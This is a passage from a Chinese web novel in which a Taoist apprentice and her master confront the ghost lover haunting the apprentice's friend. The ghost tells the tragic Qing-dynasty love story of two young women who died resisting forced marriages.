穆若水连毛巾带猫抱在怀里,在对面看她,挑眉道:“醒了?” 傅清微应了一声,说:“睡得很好,很清静,谢谢师尊。” 入夏以来午睡都有蝉声,屋子隔音不是很好,山上的雨下得越发频繁了,每天都下,只下午后两个小时,傅清微猜也猜得到。 穆若水装作听不懂,附和说:“那就好。” 傅清微顿了顿,话锋一转:“我们待会下山?先把猫安顿好。” 穆若水:“可。” 明天6月25日,是傅清微的毕业典礼。 以前傅清微从来没想过她毕业的那天,也会有家长坐在台下,现在几个月过去,连家属都有了。 毕业典礼不方便带猫,早起时间也有点赶,不如提前一天进城,把小三花放在租的房子里,她们俩休息一夜,行程安排得宽松些。 傅清微的左手依旧不能随便动,穆若水叫了灵管局的车送她们进城。 日月轮换一次。 穆若水陪傅清微在清晨进了她的宿舍,第一次见到除了甘棠以外的室友。 平平无奇的室友关系,傅清微打了声招呼,介绍穆若水是她的女朋友,观主本人已经习惯了,无需对凡人多解释。 室友们说:“你好,你好漂亮啊。” 戴着口罩依旧掩饰不住貌美的穆观主板着个脸。 傅清微代为接受:“谢谢。”又问,“甘棠呢?” 一位室友说:“不知道,她昨天领完学士服回了家,就一直没回来,估计直接去典礼现场吧。” 傅清微点了点头,心里有些不安。 傅清微领了自己那身黄色领子的学士服,不知道从哪一届的学长传下来的,闻上去有一股味道。傅清微拉着穆若水到阳台,让师尊给她施了个除尘咒,才把衣服穿上。 两位室友在屋内聊天,傅清微在阳台换学士服,黑色的学士帽戴上头顶,被垂落的黑色流苏一衬,脸颊愈发细腻雪白。 连唇色都多了几分诱人的红,唇红齿白。 傅清微低头调整肩膀身前的黄色绶带,抬起眼才发现穆若水盯着她的唇看。 “师尊?” “嗯。” “我看不见,帮我整理一下。” 穆若水于是走近她两步,伸手给她整理衣领,从琥珀色的眼瞳,到秀挺的鼻梁,薄薄的粉唇,最后长睫毛翕动,复又抬起,再一次深深地看进她的眼眸里。 比她刚刚盯着她的唇还要让她心动。 “好了。”穆若水拍了拍,退开一步。 “我们也走吧,你的室友已经先走了。” 傅清微扭头一看,屋子里的两位室不知何时友自觉地消失了。 图书馆前搭筑起红色的高台,台阶铺满鲜花和红毯,印着“C大2030届本科生毕业典礼”的横幅在风里猎猎吹动。 穆若水一路上见到了很多和傅清微穿得一样的人,三三两两地聚在一起拍照。 草坪、石墩、建筑物的犄角旮旯,随时会长出摆造型的年轻人。 傅清微一手牵着穆若水,给甘棠打电话:“你在哪儿?” “我在学校呢。” “我现在就在学校。” 甘棠默了一下,说:“我在去学校的路上,马上到了。” “多久?” “十分钟。” “我在毕业典礼这块等你,给你二十分钟。” “哎……” 傅清微把电话挂了。 第十九分钟,甘棠紧赶慢赶地从视野尽头跑过来,按着脖子里的薄围巾,气喘吁吁地停在傅清微面前。 “你知道现在是几月份吗?”傅清微不等她分辩,直接伸手二指挑开了她的围巾。 她定睛望去,甘棠脖子上依旧布满暧昧痕迹,底下却隐隐泛出诡异的青黑色。 像是被鬼吻过。 “你还要瞒我?” 第99章 甘棠穿着统一的学士服, 里面是不符合盛夏季节的长袖长裤,戴着秋天的薄围巾。 即便加了一层外袍,也能看出她比两个月前瘦了一大圈。 上次见面是五月份, 甚至不到两个月, 她瘦得连颧骨都快出来了, 眼眶显得尤其大,眼窝很深, 眼珠漆黑。 以前两个人看恐怖电影, 放在屏幕里陡然出现都会吓傅清微一跳的那种。 事情往傅清微预想的最坏结果发展了。 先前吃火锅那次,傅清微没有第一时间怀疑她, 可能纠缠不深, 没有恶鬼缠身之相,阳火虚弱每个人都会遇到,谁没个运势差的时节? 傅清微是回山以后才觉得不对劲的, 她不愿意去揣测她的初恋女友的身份, 但甘棠的举止实在古怪。 微信聊天的时候她旁敲侧击,甘棠遮遮掩掩,顾左右而言他。 给女友编的身份笼统, 说不出细节。上班的公司也含糊带过,只说在某互联网企业。 照片是没有的,工作是模糊的,经历是胡编乱造的, 估计只有性别是真的。 甘棠的妈妈微信找到傅清微,说女儿最近瘦了好多, 是不是失恋了或者遇到难事了。 家长不敢逼问, 怕适得其反,小心翼翼地来问甘棠的好朋友。 傅清微这才半肯定了她的猜测, 硬拉着甘棠开了视频,让穆若水从旁瞧了瞧她的面相。 穆若水先下结论:“不是恶鬼。” 傅清微松了口气,说:“那就好。” 她在外地执行公务,生怕赶不回去甘棠会出事。 穆若水:“还能撑几个月,再纠缠下去不好说,你不是六月底要回学校吗?顺便给她解决了,傅大师。” * 傅清微松开手指,姜黄色的围巾重新遮掩住颈下青黑的吻痕。 事到如今—— “你还要瞒我?”她对甘棠十分失望。 甘棠那副几乎瘦脱了相的脸上露出一个苦笑,说:“我也是没有办法。” “你怎么没有办法?” “你是个道士,我要是告诉了你,你把她杀了……” “哦,在你心目中我就跟法海一样是吗?不分青红皂白,要打要杀。” “我不是那个意思。” “那你来了这么久,有关心过我一句手受伤吗?”傅清微把吊着的胳膊给她看,恨不得怼到她脸上,“你没有!你只在乎你女朋友!” 甘棠:“……” 穆若水:“……” 甘棠提高声音解释:“我看到了!我正要关心你,你不是先发制人了吗?我没来得及!” 傅清微气得脸都红了:“狡辩!” 穆若水从后面拽了拽傅清微的衣服,把贴上去的傅清微拽回到自己身边。 吃醋吃得太明显,观主不高兴了。 旁边的毕业生们将吃瓜的视线投过来,眼珠来回打转:这三个人在玩什么《狐狸精》吗这是? 傅清微勉强收敛了自己友情爱情天平的不平衡,沉声道:“我警告你,甘棠女士,你要是还想要我这个朋友的话,就如实招来,不得隐瞒。” 甘棠投降:“招招招,等毕业典礼结束了行吗?” 傅清微:“看看你现在瘦的这样子,毕业照都不好看了。” 甘棠:“你好看,你吊着胳膊最好看。” 傅清微:“我为人民服务,我自豪。” 甘棠:“那我有恋爱谈,我开心。” 傅清微:“你谈的那是个人吗?” 甘棠嘴快:“说得跟你谈的是个人似的!” 穆若水平静的视线转过来。 甘棠:“简直不是人,跟个神仙似的。夸你呢,道长海涵。” 穆若水不辨喜怒地压了压眉眼。 甘棠默默地扭过头,再也不敢将话题引到她身上。 两个人针锋相对地斗了几句嘴,傅清微拿过甘棠的手机,又让穆若水给她们拍几张照片。 观主的脸彻底冷下来。 但傅清微不怕,师尊很好哄的,先当工具人把照片拍了。 找其他人她只会更不高兴。 拍完后甘棠自告奋勇:“我也给你们拍几张结婚照吧。” 傅清微说着“什么话”“胡说八道”,笑吟吟地把手机递了过去。 她完好的手挽着穆若水的胳膊,照片拍出来,穆若水的脸色依旧不怎么好。 “师尊,你怎么了?” “人太多了。”穆若水临时坐在给毕业生准备的椅子里,垂着眼眸,找了个惯用的借口。 傅清微心想:是好一段时间没宽衣解带了。 “要不要我陪你去透透气?”傅清微声音低了些,“或者找个没有人的教室?” “……” 穆若水收在袖子里漂亮的手拿出来,轻轻地拍了一下傅清微的脑袋。 “为师自己去转转。” 她说完也不等傅清微,青袍拂动,冰凉衣袖擦过坐着的傅清微的脸颊,转瞬间到了十几步开外,背影远去。 毕业典礼持续到上午十一点。 穆若水一去就是许久,傅清微给她发微信她也回,就是不见人影。 傅清微弯腰让校长拨穗,直起身看见人群里站着出挑的身影,朝她招了招手。 穆若水也抬起手,示意她看到了。 * 三人在学校吃过饭,打车直奔甘棠的小房子。 甘棠家境殷实,好几代本地人,虽不是大富大贵,也在她成年后立刻给她置办了房产。万一她谈了女朋友,带到自己家比较干净。 现在家是挺干净,唯一不干净的就是她的女朋友。 甘棠坐在副驾驶,千叮咛万嘱咐:“你就当是我带你见女朋友,千万不要吓到她。” 傅清微看前排后视镜,没好气:“甘大小姐,你先看看你自己吧,命都要没了还想着谈恋爱。” 傅清微对好闺蜜的对象一视同仁,就是三个字——看不上。 本来就自带debuff,这位可倒好,还是个鬼,害得甘棠阴邪入体,满脸黑气,过不了几个月就要去见阎王。 她还一副恋爱脑、真爱至上的样子。 傅清微恨不得两个一起除了。 得亏鬼姐姐是个女的,要是个男的,她今天就当一次法海! 嗯?有没有可能法海是白素贞的毒唯? 甘棠扭头看出她满身的杀气,怀柔道:“求求了求求了,她人很好的。” 傅大师铁面无私:“你现在最好的选择是闭嘴。” 现在是白天,大部分的鬼都怕阳光,即使能在光下行走,也会感到不适。 咔哒—— 甘棠开了房门,把里外所有的窗帘都拉了起来,屋子里漆黑一片,她拧开一盏沙发边的落地灯,光线调得昏暗,只够看清彼此的脸。 客厅前方的地面忽然多出一道女人的身影,不属于她们任何一个人。 她穿着一身黑白格子羊绒大衣,里搭浅色内衬,身段很薄,纤秀轻盈。 五官是精致型的,因为及腰的亚麻色长卷发,少了分小家碧玉,多了分明艳清丽,恰似盛放的红颜海棠。 傅清微从小到大见过的所有女人里,她的气质是独一无二的。就算在路上擦肩而过,她绝对会多看几眼的长相。 甘棠也是吃上满汉全席了。 方才还想当法海的傅清微自觉屈服于美色,礼貌道:“你好,我是甘棠的好朋友,傅清微。” 女人施礼说:“小女子杜昔言,家住苏州府。” 傅清微嘶了一声。 怎么回事?是个古代鬼?那怎么这副打扮? 怪不得气质看起来不同寻常,原来是书香门第的大家闺秀。 傅清微立刻神色拘谨:“杜姐姐你好。” 傅清微一不知所措就习惯向穆若水求救,她疯狂递眼色,穆若水已经在沙发坐下了,一撩下摆,左腿叠右腿,说:“倒水。” 甘棠马上说:“我去倒。” 傅清微:“……” 许是穆若水的这份泰然自若感染到了傅清微,傅清微请杜昔言在沙发坐下,问道:“杜姑娘既然是苏州府人士,怎么会到鹤市来?” 杜昔言:“我的灵魂附在一枚玉坠上,玉坠如今在甘棠手上。” 傅清微往茶几上看,果然见一枚鱼形翡翠吊坠,成色碧绿。 “为什么不去投胎?” “心愿未了。” “和甘棠有关?” “是。” “你知不知道,你这样在她身边是害了她?” “我知道。”杜昔言说,“所以你来了。” 甘棠端着水从厨房出来,刚好见到傅清微怔愣的样子,她把两杯水端到茶几上,人却自然地站在了杜昔言身边,笑问道:“你们聊什么了?” 杜昔言拉住她的手,说:“没什么,傅小姐好奇我们俩是怎么认识的。” 甘棠紧张道:“你说了?” 杜昔言摇头。 傅清微耳尖吃瓜:“所以是怎么认识的?” 甘棠脸红道:“我回头单独和你说。” 杜昔言是个知书达理的大小姐,说话吐字都很舒服,不疾不徐,和她聊天都是种温柔的享受。如果忽略她不是人这件事,傅清微可以给甘棠的女朋友打满分。 杜昔言看着对面长沙发上,穆若水毫无顾忌地捞过傅清微一只手把玩,来回扣紧十指,由衷地说了一句:“真好。” 这个时代真好。 她目光说不出的羡慕。 见家长半小时,杜昔言回玉坠里休息。 傅清微二人和甘棠在小区附近的咖啡厅坐下,穆若水点了杯卡布奇诺,傅清微用纸巾给她擦了擦唇瓣的奶泡,看向面前的甘棠。 “从头到尾,我要听全部。” 甘棠再无隐瞒的必要,娓娓道来。 甘棠比傅清微大一岁,正常入学,今年二十二岁。前二十年她的经历和普通姬崽差不多,打出生就没谈过恋爱,喜欢过几个直女,没开始就结束了。 两年前,她阴差阳错得到了那枚玉坠,接着就有了怪事,当时她不觉得奇怪。 春梦嘛,谁不做? 甘棠作为一个博览群片的单身女性,二十岁那年做了一个非常具体的春梦,梦里的女人样貌模糊不清,把她从上到下、里里外外地都亲了一遍。 太详细了,细节到她仿佛亲身经历了一般。所以甘棠才能说出喷这种话,她是真的有过,在梦里。 那是杜昔言在入她的梦。 杜昔言在玉坠里沉睡太久,魂体虚弱,起初无法显形,连入梦也要耗费灵力,所以出现得并不频繁。 甘棠浑然未知,把玉坠挂在自己的脖子上,连睡觉都不摘,日日以自身精气温养。 一年后,杜昔言可以短暂地离开玉坠,在她的身边,这时甘棠看不到她。 甘棠虽然没谈过恋爱,但是她有理想型,就是冬天穿大衣很漂亮的姐姐,最好有一头及腰的长卷发,有阳光一样的初恋气息。 被小说荼毒不浅。 杜昔言把自己的发簪拆了,换上了她喜欢的打扮。 她依旧只出现在甘棠的梦里,和她缠绵,甘棠摸着她的脸说:“姐姐,你好漂亮。我到哪里能找到你呢?” 杜昔言吻着她的唇不开口,没打算让她找到自己。 她们之间是不一样的。 但是人的贪欲会一点一点地放大,曾经是人的也一样。 甘棠盼着她入梦,她每次来她都很开心,对着她说很多的情话,热情地吻她。 即使杜昔言明知甘棠以为这是梦,所以才如此肆无忌惮。白天在她甘棠的玉坠里,看着她用手机刷很多漂亮的小姐姐,跳舞的唱歌的,敲下一行行放诞不经的文字。 她还和好朋友聊天,说:【好想谈恋爱啊!什么时候能从天而降一个女朋友】 花果山在逃母猴没有家,随时在外流浪。 她只是她的梦境限定,第二天起来连脸都记不起的那种。 她无法在她身上留下任何痕迹,清晨淋浴间的热水会冲去一切夜晚的旖旎。 甘棠在学校有一个暗恋的学姐,已经毕业了,两人还保持着联系,她躺在沙发里和学姐聊天,吊坠落在她左心房的位置,杜昔言听得到她缓慢加速的心跳。 每一次有力的跳动都是对她的凌迟。 她只是一个……死了很多年的……心悦她的人。 有什么资格和其他活人相比呢? 杜昔言在她的梦里忍不住哭了。 甘棠用两只手捧住她的脸,细心吻去身上人的眼泪,问她:“姐姐怎么哭了?” 杜昔言脸颊一片湿润的水光。 “你不要喜欢其他人好不好?” 美人垂泪,梦里的甘棠心都要碎了,搂着她说好。 一觉醒来就忘得七七八八了,只记得昨夜的梦似乎多了点剧情。 人对梦境的记忆大抵如此,碎片,忘却。就连傅清微,是在察觉到梦不是梦以后,才能有意去记住,过了一天照样忘记大半。 甘棠怎么想得到梦里的人就藏身在她的吊坠里。 今年的甘棠也在为脱单努力奋斗。 她不要再喜欢直女了,于是在本地的同好群里聊了一个网友,交换照片以后,打算线下见一面。 杜昔言出来截胡了。 就在甘棠出了家门,打算去赴约时,突然在马路对面见到一个身影。 气质打扮完全是她的理想型,连长相都似曾相识。 这不是她梦里的那个姐姐吗? 天底下竟然有这么巧的事? 杜昔言穿过斑马线,来到她面前,温柔地笑着说:“你好。” 一见钟情来得水到渠成。 甘棠连网友的面都没去见,陪杜昔言压了半天的马路,约好了下次见面,回家的路上魂都在天上飘。 上天好像真的要从天而降给她一个女朋友了,还处处都在她喜欢的点。 第二次见面,她就把杜昔言带回了自己的家。 两个人没有那么快发生关系,杜昔言最多的时候还是选择出现在她的梦里,现实用其他方式填满她的心,让她没有空去想别人。 现实和梦境重合了,傍晚时分她和杜昔言暧昧,深夜她在她的身下婉转承欢,虽然没有名分,但和谈了女朋友没什么分别。 甘棠察觉到有异是在傅清微送了她五帝钱手串之后。 杜昔言托梦给她说:“你戴着手串,我没办法接近你。” 甘棠又惊又惧,问:“你是谁?” 杜昔言道出真相:“我就在你的玉坠里。” 甘棠醒了过来。 她摸到自己脖子上的玉坠,把它摘下来放到客厅,自己戴好铜钱手串,站得远远的,问:“是你吗?昔言?” 自从傅清微当道士以后,甘棠对灵异事件的接受度高了很多,她相信世上真的有鬼。 但有朝一日发生在自己身边,甘棠宁可信其无。 她说完这句话,客厅里凭空出现的女人击碎了她所有的幻想。 杜昔言站在她面前,对她说:“对不起。” 甘棠举起自己戴着五帝钱的手,说:“往后退,离我远点。” 杜昔言伤心地退后。 甘棠拿过手机开始打电话,第一时间拨通了傅清微的号码,那端传来年轻女生清润的嗓音:“怎么了?” 甘棠呼吸急促:“我遇到了……” 傅清微:“地址给我!” 甘棠的气息渐渐平稳下来,说:“愚人节快乐——” 傅清微:“我最近脾气不太好我跟你说,休要坏我道心。” 甘棠眼睛红红的:“闲得无聊嘛,先挂了。” 对面的杜昔言在哭。 甘棠也跟着流下眼泪。 她非常喜欢她的初恋,真的特别特别喜欢她。 从她第一次出现在她的面前,不管是梦里,还是现实里,心动的感觉比任何一次都强烈。 就好像她们曾经相爱过。 杜小姐默默拭泪,哭得我见犹怜,半点攻击性都没有,一点都不像影视片里的恶鬼。 甘棠站在客厅另一端,问她:“你哭什么?是你先骗我的。” 杜昔言梨花带雨地哽咽重复:“对不起。” 甘棠当场恋爱脑发作,叹了一口气,问:“那你总要说一说,为什么缠着我吧?” 杜昔言讲了一个她始料未及的故事,故事里的主角是她和杜昔言。 她们在梦里经历了从前的一切。 后来她把杜昔言留在了她的身边,不再以梦境这种转头即忘的方式,她也想真切地感受到她,她为自己所动情的一切。 杜昔言大部分时间藏在她的吊坠里,白天陪她在手机里聊天,晚上和她同床而眠。她日日夜夜地陪伴着她,甘棠有任何事情都会第一时间回应,实在是一个温柔完美的恋人。 她们会是一对令人欣羡的神仙眷侣。 如果杜昔言是个人的话。 如果甘棠的身体没有一天天虚弱下去的话。 …… 这一天迟早要到来。 甘棠坐在咖啡厅里,面对着傅清微正襟危坐的肃然神情,和旁边穆若水又沾了一圈奶泡的嘴唇。 傅清微压低声音:“你明知道、明知道人鬼殊途,为什么还要这么做?” 甘棠搅拌着咖啡杯,垂着的眼睑有些红。 “我也没办法,是我欠她的。” 傅清微看一眼身边的穆若水,想起她先前在山上问过师尊—— 她问她:“为什么甘棠可以看到鬼魂?” 不是运势低的那种偶尔撞鬼,而是一直可以看到。 穆若水当时正在院子里晒月亮,闻言抬了一下眸子,望过来。 “世上有两种人可以见鬼,第一种,像你一样天生拥有灵眼。” “那么第二种呢?” 穆若水的眼神收了回去,躺在藤椅上望着月光,声音和山里的风一样清冷。 “她和那个鬼魂前世有约,而对方一直没有去投胎,约定始终作数,所以她可以在甘棠面前显形,也只有她能看得到。” 前世缘,今生续。 她来找她了。 傅清微想到这里,神色缓了缓,柔下声音劝道:“不管你们以前有什么纠葛,你已经转世了,和前世没有关系。你是人,她是……及时抽身对你们俩都好。” 她会送杜昔言去投胎,而甘棠会有她今生该过的生活。 这个道理相信甘棠也明白。 可是甘棠做不到。 她的崩溃突如其来,眼泪瞬间流了满脸。 她看着傅清微泪如雨下,说:“但她一直在等我,她等了我几百年啊。” 第100章 不是五年十年, 甚至不是五十一百年,以人类寿数可以计量的一生。 傅清微没有想过杜昔言等了这么久。 连旁观者都沉默失语,可想而知甘棠知道真相时受到的冲击。 甘棠泣不成声。 杜昔言从她的玉坠里出来, 坐在了甘棠身边, 说:“我来讲吧, 都是些陈年旧事了。” 时下正是下午三点,她们坐在咖啡厅靠窗的座位, 傅清微提议换到里侧昏暗的卡座, 并婉拒了老板开灯的提议。 傅清微问:“杜小姐喝咖啡吗?” 杜昔言羡慕地说:“好,我想喝和她一样的, 可以吗?” 她指着穆若水面前的卡布奇诺, 穆若水不喜欢咖啡的苦味,也不太嗜甜,牛奶刚刚好, 每次奶泡沾在嘴上傅清微都会亲手给她擦。 傅清微也给她点了一杯卡布奇诺。 穆若水咖啡杯里剩下一半, 抿唇半晌,拿出手机给傅清微用力打字:【我不喝了!】 傅清微:“……” 傅清微:【甘棠付的钱,我没请她】 穆若水:【不喝就是不喝, 罚你忏悔半天】 傅清微立刻开始忏悔。 杜昔言低头闻了闻咖啡的气味,就算进食了,她直起身的同时,傅清微暂停忏悔, 也正襟危坐起来。 那是一段很长又很短的往事。 * 雍正年间,苏州府。 江南自古富庶, 纺织、造船、茶叶行行业业都不乏商人的发迹, 经商氛围浓郁。 苏州府有两户人家,一户姓杜, 一户姓柳。两家皆是当地有名的商户,住在同一条大街上,挨着的两扇朱门,气派的石狮子不相上下。 入了府邸挨得更近,只隔了一道院墙,这边是杜府,另一边是柳家。 两家生意没有竞争关系,因为比邻而居走动频繁。 杜小姐和柳小姐自然而然成了手帕交。 杜昔言娘胎里出来带病,深居浅出,柳小姐把外面的见闻听来,日日到她房里坐着,说与她听,给她解闷。 有时柳小姐夜里也歇在杜府,窗户上映出两个相对而坐的剪影,说一声,笑一声。 这日杜昔言正在房中看书,听见丫鬟通禀说柳小姐来了,话音刚落,一抹碧绿裙衫就闯入了眼帘,刚迎来的春日千娇百媚,都不如这一朵。 杜昔言双目粲然,放下手里的书卷,素指纤纤在鬓角扶了一下不服帖的碎发,方站起来迎她:“阿絮。” 要缓上一口气,才能在吐出她名字的瞬间压抑住过分的欢喜。 柳小姐一言不发地走过来,在桌旁坐下,拿过她的杯盏喝闷茶。 她心里藏不住事,杜昔言等了会儿,便听她说:“我方才在门口撞见你表哥,他来作甚?” 杜昔言温言说:“姨母素来疼我,前段时间她生了病,如今好多了,表哥来同我报个平安。” 柳小姐看着她,心中蓦地填满酸楚。 “我都听说了,你爹要给你招赘,相看的就是他。”两家关系亲近,她平时也管杜昔言的表哥叫表哥,这次叫也不想叫他。 杜昔言是家中独女,身子骨弱,要撑起偌大的家业,最好的法子就是招个夫婿。 二老疼爱女儿,不想让她早早成家,十七岁这年才着手为她相看,知根知底的自然是妻族那边的亲戚。 柳小姐说:“他凭什么?” 他知道杜昔言喜欢什么不喜欢什么吗?他知道她每一个笑容代表的含义吗?他知道她饱读诗书却困于闺阁,“举头空羡榜中名”的郁郁不得志吗? 他什么都不知道。 世上最懂她的人是我,愿意为她付出一切的也是我,为什么能够永远陪伴她的那个人却不是我。 “他凭什么?”柳小姐流着泪又一次说道。 杜昔言取来手帕为她拭泪,说:“爹娘只是为我相看,没有立刻要为我招赘。你哭得这样厉害,别人以为我怎么你了呢。” 她半是宽慰半是打趣,好歹哄住了柳小姐的泪水。 柳小姐止了眼泪,胸腔仍是酸苦。 酸的是她表哥,苦的是她这番悖逆人伦的心思注定要藏于黑暗之中,不为人知晓。 昔言,我的昔言。 如果你是我的该有多好。 杜昔言屏退丫鬟,牵起她坐到床榻,拉着手说体己话,从小到大柳小姐有什么不顺心、伤心事,这么说一会儿话,杜昔言准能将她哄好,开开心心地出门。 今日柳小姐听着她温柔细语的开解,胸中却越发苦闷,她就那么希望成婚吗?说什么都嫁在苏州府,住得近些,婚后多往来走动,仍然是最好的闺中密友。 她根本不想做她的密友,她想要的是…… 杜昔言的话语蓦地停了,她双眸轻轻地放大,唇上覆着的柔软慢慢地离开。 柳小姐垂着眼不敢看她,两只手捏紧了裙摆边缘。 “阿絮。”杜昔言的声音响在身前。 柳小姐几乎想落荒而逃,她一定觉得自己恶心,觉得她疯了。 “阿絮。”杜昔言又唤了一次,声音似乎离她更近了,温柔动听。 柳小姐垂下的眼看见了她向自己伸过来的手,苍白修长,用来写字画画的那只漂亮的手挑起了她的下巴,四目相对,柳小姐看进她深邃晦涩的眼眸里,像是藏了一片深海。 唇瓣一热,温凉的柔软封住了她的唇。 柳小姐睁大了杏眸。 杜昔言捏着她的下巴,浅浅地辗转亲吻她,双目微阖。 柳小姐见状也慢慢将眼睛闭上,沉浸到和心上人的亲密里,彼此青涩地试探。 良久,杜昔言结束了这个吻。 “我心悦你,阿絮。”杜昔言眸中犹带水雾,认真地说。 “我也是。”柳小姐迫不及待地回应,她的眼泪几乎同时涌出来,明明刚刚才知晓两情相悦的大喜事,她却哭得好不伤心。 “怎的又哭了?”杜昔言吻去她的眼泪。 “我为何不是个男儿身?”柳小姐泪流满面,越是欢喜越是肝肠寸断,如果她是男子,以她们两家的交情,早就央媒人上门提亲,做一对恩爱白头的夫妻。 偏偏她是个女子,纵使两情相悦,女子相恋世所不容,她们的未来又在哪里? “莫要说这种话,你是女子我才心悦你。”杜昔言点了点她的鼻尖,有意将氛围变得轻松些。 “我也喜欢你是女子。”柳小姐蹭了蹭她的掌心,实话道。 “好啊你,所以你只想自己变作男子,变得臭臭的,让我来忍受你是吧。” “我不是这个意思,姐姐,哈哈哈姐姐不要。” 杜昔言的手已经挠到她的痒痒肉,柳小姐笑得仰跌在她的床上,杜昔言扑在她身上闹她。 柳小姐怕她体弱被自己弄伤,一下不敢反抗地任由她闹自己。 两人玩闹了一阵,笑声渐小,只有不敢让人听去的细微加快的脸红气息。 她们就这样秘密又美好地相恋了。 柳小姐留宿在杜昔言的闺房,互相倾诉心中多年的爱慕之情。 两人一身寝衣,面对面坐在一起,手掌贴着手掌,看着彼此的眼睛,十指慢慢相扣,相拥着倒入床榻里。 杜昔言埋首在她的鹅颈里,细细啄吻,爱怜又热烈。 “阿絮,阿絮,我的阿絮……” “姐姐……”柳小姐环着她单薄的肩,反复去吻她湿软的唇。 白天她们依旧是从小一起长大的手帕交,在夜晚无人时相爱,群星作见证。 柳小姐比杜昔言小一岁,是家中幼女,自小也得爹娘兄长宠爱,然而到底到了出阁的年纪,她赖在家中说要陪着爹娘不想嫁人的话糊弄到了十八岁,便不管用了。 柳家给柳小姐说了门亲事,父母之命媒妁之言,柳小姐连新郎的面都没见到,就被通知定了亲,婚期在三个月以后。 杜昔言的夫婿相看了两年,家里人还是中意她表哥,见柳府给女儿说了亲,便也将婚事提上了日程。 柳小姐不明白,为何家人急着嫁她们出去?为何她不能和喜欢的人在一起?为何让世人知道她心悦一个女子都是大逆不道之事? “是我们错了吗?”柳小姐在杜昔言的怀里哭诉。 “不是我们错了,是世道错了。” “我们私奔吧。” 柳小姐从她胸前抬起头,擦掉眼泪,双目燃起坚定的火焰。 她虽然爱哭,但两人之中她总是更勇敢的那一个。 柳小姐说:“我会刺绣,绣品卖得上些价钱,可以养活我们两个。我们离开这里,去一个谁也找不到的地方。” 杜昔言说:“好。” 她会写字画画,也能出去摆摊谋生,不能让柳怀絮一个人养她们俩。 离柳小姐的婚期一个月,她被禁止踏出家门。 原来她们俩的私情早被家人发现,年岁小不懂事玩闹就罢了,现下就要出阁,再不拦着点恐怕生出事端。家丑不可外扬,伤风败俗,岂能见得天光? 柳小姐的性子他们是知道的,不比杜昔言温顺端庄,否则小时候也不会第一次和杜昔言见面是爬墙进去的。 禁足令根本拦不住她,柳小姐又爬墙了。 深更半夜摸进杜府,悄悄给杜昔言的门缝递纸条,约定了私奔的时间,相会的地点。 杜昔言赠了她一枝牡丹。 正式逃离那日,柳小姐收拾了细软,换上了小厮的衣服从府中溜走,忐忑又期待地等在一座桥下,河边种满了杨柳。 从白天等到黑夜,杜昔言始终没有出现。 柳小姐不相信她会食言,一定是被事情绊住了,于是暗中回到杜府,被守株待兔的柳府家丁逮个正着,带回了柳家。 柳家人太了解她了,只要控制住了杜昔言,她绝不会走,只能乖乖成这个亲。 柳杜二家通了气,杜昔言也被禁足了,就在私奔的前两天。她身体孱弱,门上只要挂一把锁,插翅难飞。 柳小姐就不一样,窗户全都钉死,门口守着数位家丁,她的贴身丫鬟的命捏在爹娘手里,敢跑就将丫鬟活活打死。 两个弱女子能拿什么反抗?无非是伤害自己的身体。 柳小姐把屋子里能砸的东西都砸了,谩骂哀求,能试的法子都试过,最后只能绝食反抗。 离她的婚期不到四天,柳家人一合计饿不死,等她上了花轿就老实了。况且就算女儿“因病去世”,也比她和女子相恋败坏门风,沦为苏州府的笑柄来得好。 出嫁的前一天,饿了三天的柳小姐虚弱地靠在门沿,敲了敲门板,有气无力。 “我要吃饭……” 柳家人以为她想通了,端上丰盛的饭菜,柳小姐边吃边让爹娘放心,说她想好了,以后会顺自己的心意,好好过日子。 出阁当日,柳小姐凤冠霞帔,芙蓉面柳如眉,梳妆台的瓶子里插着一支凋谢的牡丹。 她穿上了火红的嫁衣,像她曾经想象过千百次的那样,嫁给了杜昔言。 她性情刚烈,选择了最决绝的死法,撞柱身亡。 迎亲的队伍到了,鞭炮吹打,接亲的喜人迈入房内,柳小姐倒在地上,脑后一地的鲜血。 书桌的宣纸洒落一地,每一张都密密麻麻地写满了同一个名字。 杜昔言。杜昔言。杜昔言。 她要将她的爱昭告天下,她没有错,她们没有错,错的是这世道! 柳家人瞧见,连忙唤人将纸张捡了起来,丢进灶台烧了,烧得干干净净。 “不好了,小姐吐血了!”杜府的闺房内,丫鬟惊叫,紧接着挂在屋外的门锁被解了下来,杜母冲了进来。 “我的儿啊——” 杜昔言胸口传来尖锐的刺痛,她的手死死按住心脏的位置,再次吐出一大口鲜血,染红了手里的玉坠,泪眼模糊。 “阿絮……” 杜昔言昏死过去。 夜里她在床上醒过来,明明府里严令封锁柳小姐的消息,她一动不动地盯着床帐,轻声问身边的人:“阿絮是不是没了?” 杜母怕她受刺激,骗她说:“没有,她好着呢。” “那你让她来见我。” “她已经到夫家了。” 杜昔言合上眼睛,不想再听。 她想:没有关系,我很快就会去见她了。 柳小姐死的当晚,杜府的小姐悲伤过度,呕血身亡。听说全城的大夫都去了,杜昔言一口一口的血吐出来,像是要把身体里所有的血液都放干,死得极为痛苦。 她死前手里紧紧攥着一枚鱼形的翡翠玉坠,是柳小姐送她的定情信物。 她弥留之际想:鱼儿啊鱼儿,若是你有灵,请带我回到她的身边。 生前的执念过于深重,死后她的魂魄没有去投胎转世,而是附在了玉坠上。 三百年以后,那枚玉坠冥冥之中终于辗转来到了它的前主人手中。 而杜昔言再遇了柳小姐转世后的魂魄,也就是甘棠,回到了她的身边。 * 傅清微听完,回去流了一公升的眼泪。 穆若水当然不会放过这个好机会,不喝白不喝,张口全盘接收。 小三花蹲在她俩脚下,好奇地看着她们俩在沙发做奇怪的事。 穆若水喝饱了,把纸巾盒拿过来塞傅清微手里,傅清微仍在断断续续地落泪和叹气。 “怎么会这么可怜,万恶的封建社会,万恶的世道!” 穆若水听她真情实感地抒发,过了会儿问她:“你打算怎么办呢?” 傅清微眼圈泛红,说:“我还是想当法海。” 穆若水嗯一声:“傅大师铁面无私。” 傅清微擦了擦眼角的湿润,对她的恭维不能苟同。 她不是无私,是太有私心了。 如果是作为纯粹的旁观者见证一段前世今生的爱情,她肯定会祝福,说不定还会想办法成全她们,哪管一朝一夕。 但甘棠是她的好朋友。 杜昔言的身世固然可怜,也已经是鬼了。和她在一起,甘棠会有生命危险,傅清微一千一万个不同意。她恋爱脑发作,傅清微也有必要点醒她的恋爱脑。 前提是确实没办法。 傅清微想再替她争取一下:“师尊有什么解决方法吗?” 穆若水说:“你指哪方面?” 傅清微:“有没有办法让她们俩像现在这样过下去,又不会对甘棠的身体有伤害?” 穆若水:“你是既要又要啊。” 傅清微挨过去:“行不行嘛?” 穆若水说:“有。但你要明白,她们俩之间的根本解决办法,是杜昔言变成人,但这是没办法的事。” 傅清微点头。 又不死心地问:“真的不能变成人吗?” 穆若水偏头看她:“信不信我把你变成鬼?” 